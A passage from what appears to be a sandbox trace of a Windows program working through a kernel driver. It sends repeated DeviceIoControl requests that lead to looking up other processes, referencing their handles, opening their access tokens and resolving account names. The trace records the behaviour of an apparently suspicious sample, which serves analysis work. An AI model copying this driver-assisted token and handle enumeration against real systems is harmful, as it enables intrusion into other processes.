returned 0x2b0bf0 [0114.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.136] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.136] PsAcquireProcessExitSynchronization () returned 0x0 [0114.136] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880055905d0) [0114.136] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fce180, HandleInformation=0x0) returned 0x0 [0114.136] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.136] PsReleaseProcessExitSynchronization () returned 0x2 [0114.136] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0114.136] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.136] ObfDereferenceObject (Object=0xfffffa8001fce180) returned 0x1 [0114.136] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.136] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.136] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0114.136] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.136] PsAcquireProcessExitSynchronization () returned 0x0 [0114.137] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880055905d0) [0114.137] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800208d070, HandleInformation=0x0) returned 0x0 [0114.137] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.137] PsReleaseProcessExitSynchronization () returned 0x2 [0114.137] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0114.137] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.137] ObfDereferenceObject (Object=0xfffffa800208d070) returned 0x1 [0114.137] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.137] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.137] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.137] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.137] PsAcquireProcessExitSynchronization () returned 0x0 [0114.137] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880055905d0) [0114.137] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.137] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.137] PsReleaseProcessExitSynchronization () returned 0x2 [0114.137] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0114.137] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.137] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.137] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.137] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.137] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0xc0 [0114.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.137] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020222d0, HandleInformation=0x0) returned 0x0 [0114.137] ObOpenObjectByPointer (in: Object=0xfffffa80020222d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.137] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x12 [0114.137] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.137] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.137] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.138] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.138] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.139] CloseHandle (hObject=0xc8) returned 1 [0114.139] CloseHandle (hObject=0xc0) returned 1 [0114.139] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.139] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.139] PsAcquireProcessExitSynchronization () returned 0x0 [0114.139] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880055905d0) [0114.139] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002022c00, HandleInformation=0x0) returned 0x0 [0114.139] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.139] PsReleaseProcessExitSynchronization () returned 0x2 [0114.139] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0114.139] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.139] ObfDereferenceObject (Object=0xfffffa8002022c00) returned 0x1 [0114.139] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.139] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.140] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.140] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.140] PsAcquireProcessExitSynchronization () returned 0x0 [0114.140] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880055905d0) [0114.140] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800202d760, HandleInformation=0x0) returned 0x0 [0114.140] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.140] PsReleaseProcessExitSynchronization () returned 0x2 [0114.140] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0114.140] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.140] ObfDereferenceObject (Object=0xfffffa800202d760) returned 0x1 [0114.140] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.140] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.140] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.140] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.140] PsAcquireProcessExitSynchronization () returned 0x0 [0114.140] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880055905d0) [0114.140] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.140] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.140] PsReleaseProcessExitSynchronization () returned 0x2 [0114.140] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0114.140] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.140] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.140] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.140] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.140] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0xc0 [0114.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.140] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002049740, HandleInformation=0x0) returned 0x0 [0114.140] ObOpenObjectByPointer (in: Object=0xfffffa8002049740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.140] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x12 [0114.140] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.140] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.141] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.141] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.141] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.142] CloseHandle (hObject=0xc8) returned 1 [0114.142] CloseHandle (hObject=0xc0) returned 1 [0114.142] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.142] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.142] PsAcquireProcessExitSynchronization () returned 0x0 [0114.142] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880055905d0) [0114.142] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002056980, HandleInformation=0x0) returned 0x0 [0114.142] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.142] PsReleaseProcessExitSynchronization () returned 0x2 [0114.142] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0114.142] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.142] ObfDereferenceObject (Object=0xfffffa8002056980) returned 0x1 [0114.143] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.143] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.143] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.143] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.143] PsAcquireProcessExitSynchronization () returned 0x0 [0114.143] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880055905d0) [0114.143] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002056830, HandleInformation=0x0) returned 0x0 [0114.143] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.143] PsReleaseProcessExitSynchronization () returned 0x2 [0114.143] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0114.143] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.143] ObfDereferenceObject (Object=0xfffffa8002056830) returned 0x1 [0114.143] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.143] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.143] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.143] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.143] PsAcquireProcessExitSynchronization () returned 0x0 [0114.143] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880055905d0) [0114.143] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.143] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.143] PsReleaseProcessExitSynchronization () returned 0x2 [0114.143] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0114.143] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.143] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.143] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.143] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.143] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0xc0 [0114.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.143] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020974e0, HandleInformation=0x0) returned 0x0 [0114.143] ObOpenObjectByPointer (in: Object=0xfffffa80020974e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.144] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x12 [0114.144] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.144] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.144] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.144] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.144] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.145] CloseHandle (hObject=0xc8) returned 1 [0114.145] CloseHandle (hObject=0xc0) returned 1 [0114.145] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.145] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.145] PsAcquireProcessExitSynchronization () returned 0x0 [0114.145] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880055905d0) [0114.146] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002097e10, HandleInformation=0x0) returned 0x0 [0114.146] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.146] PsReleaseProcessExitSynchronization () returned 0x2 [0114.146] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0114.146] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.146] ObfDereferenceObject (Object=0xfffffa8002097e10) returned 0x1 [0114.146] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.146] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.146] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0114.146] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.146] PsAcquireProcessExitSynchronization () returned 0x0 [0114.146] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880055905d0) [0114.146] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002099260, HandleInformation=0x0) returned 0x0 [0114.146] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.146] PsReleaseProcessExitSynchronization () returned 0x2 [0114.146] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0114.146] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.146] ObfDereferenceObject (Object=0xfffffa8002099260) returned 0x1 [0114.146] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.146] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.146] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.146] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.146] PsAcquireProcessExitSynchronization () returned 0x0 [0114.146] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880055905d0) [0114.146] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: 